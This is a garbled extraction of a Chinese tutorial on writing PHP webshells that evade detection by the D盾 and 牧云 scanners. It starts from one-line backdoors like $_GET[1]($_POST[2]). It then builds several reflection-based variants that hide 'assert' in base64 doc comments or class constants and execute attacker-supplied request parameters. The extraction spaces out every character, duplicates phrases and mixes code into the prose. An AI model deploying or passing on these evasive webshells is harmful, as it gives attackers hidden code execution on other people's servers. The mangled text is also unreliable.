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[21600] 2021-01-16_Webshell免杀的思考与学习

文档创建者：s7ckTeam
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最后更新：2025-01-18
2021-01-16_Webshell免杀的思考与学习 W e b s h e l l 免 杀 的 思 考 与 学 习 C S D N ： I s 4 b 3 l l a 3   L e m o n S e c   2 0 2 1 - 0 1 - 1 6 前 言 前 言 我 的 第 一 个 一 句 话 木 马 我 的 第 一 个 一 句 话 木 马 很 奇 怪 ， 我 学 习 安 全 接 触 的 的 第 一 个 一 句 话 木 马 就 是 它 ： ， 并 且 令 我 印 象 深 刻 。 当 时 不 太 理 解 这 个 是 因 为 P H P 太 灵 活 了 ， 没 想 到 还 有 这 种 写 法 ： 这 个 木 马 和 上 面 的 例 子 一 样 ， 是 一 种 可 变 函 数 ， 写 为 字 符 串 ， 写 为 命 令 。 值 得 一 提 的 是 a s s e r t 和 e v a l ： 手 册 写 到 e v a l ( ) 不 是 一 个 函 数 而 是 一 个 语 言 构 造 器 ， 所 以 不 能 被 可 变 函 数 调 用 ； e v a l ( )   把 字 符 串 按 照   P H P   代 码 来 计 算 。 该 字 符 串 必 须 是 合 法 的   P H P   代 码 ， 且 必 须 以 分 号 结 尾 且 必 须 以 分 号 结 尾 。 而 a s s e r t ( ) 是 一 个 函 数 ， 所 以 它 相 比 e v a l 灵 活 许 多 ， 可 以 被 可 变 函 数 调 用 ， 也 可 以 被 回 调 函 数 来 调 用 。 思 考 思 考 我 们 通 过 w e b s h e l l 执 行 命 令 ， 是 通 过 我 们 可 控 的 参 数 来 达 到 目 的 ， 而 上 面 的 一 句 话 木 马 我 们 可 控 的 部 分 为 P O S T 和 G E T 参 数 。 只 要 稍 作 改 变 就 可 以 绕 过 D 盾 的 检 测 可 以 看 到 这 里 并 没 有 达 到 免 杀 效 果 接 下 来 我 又 写 了 一 个 正 常 的 类 与 函 数 ， 再 次 扫 描 发 现 D 盾 已 经 检 测 不 出 来 了 w e b s h e l l 对 于 渗 透 测 试 者 来 说 是 既 是 一 种 结 束 也 是 一 种 开 始 ； 一 个 免 杀 的 对 于 渗 透 测 试 者 来 说 是 既 是 一 种 结 束 也 是 一 种 开 始 ； 一 个 免 杀 的 w e b s h e l l 是 我 们 在 渗 透 测 试 过 程 中 能 否 拿 到 目 标 权 限 的 一 个 是 我 们 在 渗 透 测 试 过 程 中 能 否 拿 到 目 标 权 限 的 一 个 “ 前 提 前 提 ” ， 首 先 ， 首 先 w e b s h e l l 需 要 存 活 ， 其 次 是 否 能 够 执 行 命 令 ， 最 后 我 们 使 用 需 要 存 活 ， 其 次 是 否 能 够 执 行 命 令 ， 最 后 我 们 使 用 w e b s h e l l 管 理 工 具 时 流 量 是 否 被 拦 截 。 所 以 免 杀 至 关 重 要 管 理 工 具 时 流 量 是 否 被 拦 截 。 所 以 免 杀 至 关 重 要 。 。 $ _ G E T [ 1 ] ( $ _ P O S T [ 2 ] ) ; $ a   =   ' a s s e r t ' ; $ a ( ) ; $ _ G E T [ 1 ] a s s e r t $ _ P O S T [ 2 ] p h p i n f o ( ) < ? p h p f o r e a c h   ( a r r a y ( ' _ G E T ' )   a s   $ _ r e q u e s t )   {     f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {             $ $ _ k e y   =     $ _ v a l u e ;             $ _ k e y ( $ _ v a l u e ) ;     } }
从 可 变 函 数 的 例 子 我 们 可 以 受 到 一 些 启 发 ， 通 过 翻 阅 P H P 手 册 中 的 反 射 反 射 部 分 ， 我 们 可 以 得 到 一 些 可 以 利 用 的 函 数 少 见 的 函 数 少 见 的 函 数 获 取 注 释 获 取 注 释 P H P 中 有 这 样 一 个 函 数 ， 它 可 以 获 取 p h p 注 释 的 内 容 某 些 查 杀 引 擎 在 查 杀 的 时 候 ， 会 做 类 似 于 编 译 器 的 优 化 ， 去 掉 我 们 所 写 的 注 释 。 毕 竟 注 释 是 不 能 运 行 的 ， 如 果 我 们 将 参 数 通 过 非 常 规 的 方 式 传 输 进 来 ， 这 样 或 许 可 以 绕 过 一 些 查 杀 引 擎 呢 。 我 们 知 道 ， 安 全 狗 查 形 ， D 盾 查 参 ， 就 拿 D 盾 来 试 一 试 。 获 取 定 义 过 的 一 个 常 量 获 取 某 个 类 的 全 部 已 定 义 的 常 量 ， 不 管 可 见 性 如 何 定 义 。 p u b l i c   R e f l e c t i o n C l a s s : : g e t D o c C o m m e n t (   v o i d )   :   s t r i n g < ? p h p / * * *   Y X N z Z X J 0 Y W E = * / c l a s s   E x a m p l e {         p u b l i c   f u n c t i o n   f n ( ) {         } } $ r e f l e c t o r   =   n e w   R e f l e c t i o n C l a s s ( ' E x a m p l e ' ) ; $ z h u s h i   =   s u b s t r ( ( $ r e f l e c t o r - > g e t D o c C o m m e n t ( ) ) ,   7 ,   1 2 ) ; $ z h u s h i   =   b a s e 6 4 _ d e c o d e ( $ z h u s h i ) ; $ z h u s h i   =   s u b s t r ( $ z h u s h i ,   0 ,   6 ) ; / / f o r e a c h   ( a r r a y ( ' _ P O S T ' , ' _ G E T ' )   a s   $ _ r e q u e s t )   {         f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {                 $ $ _ k e y =     $ _ v a l u e ;                 p r i n t _ r ( $ $ _ r e q u e s t ) ;         } } $ z h u s h i ( $ _ v a l u e ) ; p u b l i c   R e f l e c t i o n C l a s s : : g e t C o n s t a n t s ( v o i d )   :   a r r a y c l a s s   T e s t {
获 取 一 组 常 量 获 取 一 组 常 量 获 取 某 个 类 的 全 部 已 定 义 的 常 量 ， 不 管 可 见 性 如 何 定 义 。 {         c o n s t   a   =   ' A s ' ;         c o n s t   b   =   ' s e ' ;         c o n s t   c   =   ' r t ' ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {         } } $ p a r a 1 ; $ p a r a 2 ; $ r e f l e c t o r   =   n e w   R e f l e c t i o n C l a s s ( ' T e s t ' ) ; f o r   ( $ i = 9 7 ;   $ i   < =   9 9 ;   $ i + + )   {         $ p a r a 1   =   $ r e f l e c t o r - > g e t C o n s t a n t ( c h r ( $ i ) ) ;         $ p a r a 2 . = $ p a r a 1 ; } f o r e a c h   ( a r r a y ( ' _ P O S T ' , ' _ G E T ' )   a s   $ _ r e q u e s t )   {         f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {                 $ $ _ k e y =     $ _ v a l u e ;         } } $ p a r a 2 ( $ _ v a l u e ) ; p u b l i c   R e f l e c t i o n C l a s s : : g e t C o n s t a n t s ( v o i d )   :   a r r a y < ? p h p c l a s s   T e s t {         c o n s t   a   =   a r r a y ( 1 = > ' a S ' , 2 = > ' s e ' , 3 = > ' r T ' ) ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {         } } $ r e f l   =   n e w   R e f l e c t i o n C l a s s ( ' T e s t ' ) ; f o r e a c h   ( $ r e f l - > g e t C o n s t a n t s ( )   a s   $ k e y   = >   $ v a l u e )   {         f o r e a c h   ( $ v a l u e   a s   $ k e y   = >   $ v a l u e 1 )   {                 $ v a l u e 2 . = $ v a l u e 1 ;         } } f o r e a c h   ( a r r a y ( ' _ P O S T ' , ' _ G E T ' )   a s   $ _ r e q u e s t )   {         f o r e a c h   ( $ $ _ r e q u e s t   a s   $ _ k e y = > $ _ v a l u e )   {                 $ $ _ k e y =     $ _ v a l u e ;         } } $ v a l u e 2 ( $ _ v a l u e ) ;
类 与 继 承 类 与 继 承 P 牛 的 《 P H P 动 态 特 性 的 捕 捉 与 逃 逸 》 中 提 到 了 一 个 点 ， 除 了 P P T 里 提 到 的 t r i c k ， 还 能 想 到 什 么 呢 ？ 面 向 对 象 中 ， 类 能 够 继 承 类 的 属 性 与 方 法 。 或 许 可 以 从 这 两 个 点 入 手 ， 因 为 测 试 绕 过 了 " 牧 云 " ， 就 暂 时 不 放 出 来 结 果 了 。 至 于 为 什 么 可 以 绕 过 ： 我 的 猜 想 是 这 个 函 数 不 在 黑 名 单 中 ， 语 法 分 析 不 够 完 善 ， 引 擎 认 为 我 们 的 v u l n 代 码 并 不 能 执 行 。 创 建 类 的 实 例 简 单 地 说 ， 这 个 方 法 可 以 创 建 一 个 类 的 实 例 ， 同 时 该 函 数 传 递 的 参 数 会 传 递 到 该 类 的 构 造 函 数 需 要 注 意 的 是 ， 该 方 法 传 参 和 相 似 ， 不 能 使 用 引 用 类 型 传 参 ， 如 果 要 使 用 引 用 类 型 使 用 另 一 个 方 法 基 本 的 框 架 就 是 这 样 了 ， 对 框 架 进 行 变 形 也 可 绕 过 " 牧 云 " 。 p u b l i c   R e f l e c t i o n C l a s s : : n e w I n s t a n c e (   m i x e d   $ a r g s [ ,   m i x e d   $ . . . ]   )   :   o b j e c t c a l l _ u s e r _ f u n c ( ) n e w I n s t a n c e A r g s c l a s s   T e s t 1 {         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ p a r a ) {                 / / a s s e r t         } } $ c l a s s 1   =   n e w   R e f l e c t i o n C l a s s ( " T e s t 1 " ) ; $ p a r a   =   ' ' ; / / 可 控 的 $ p a r a $ c l a s s 2   =   $ c l a s s 1 - > n e w I n s t a n c e ( $ p a r a ) ;
一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
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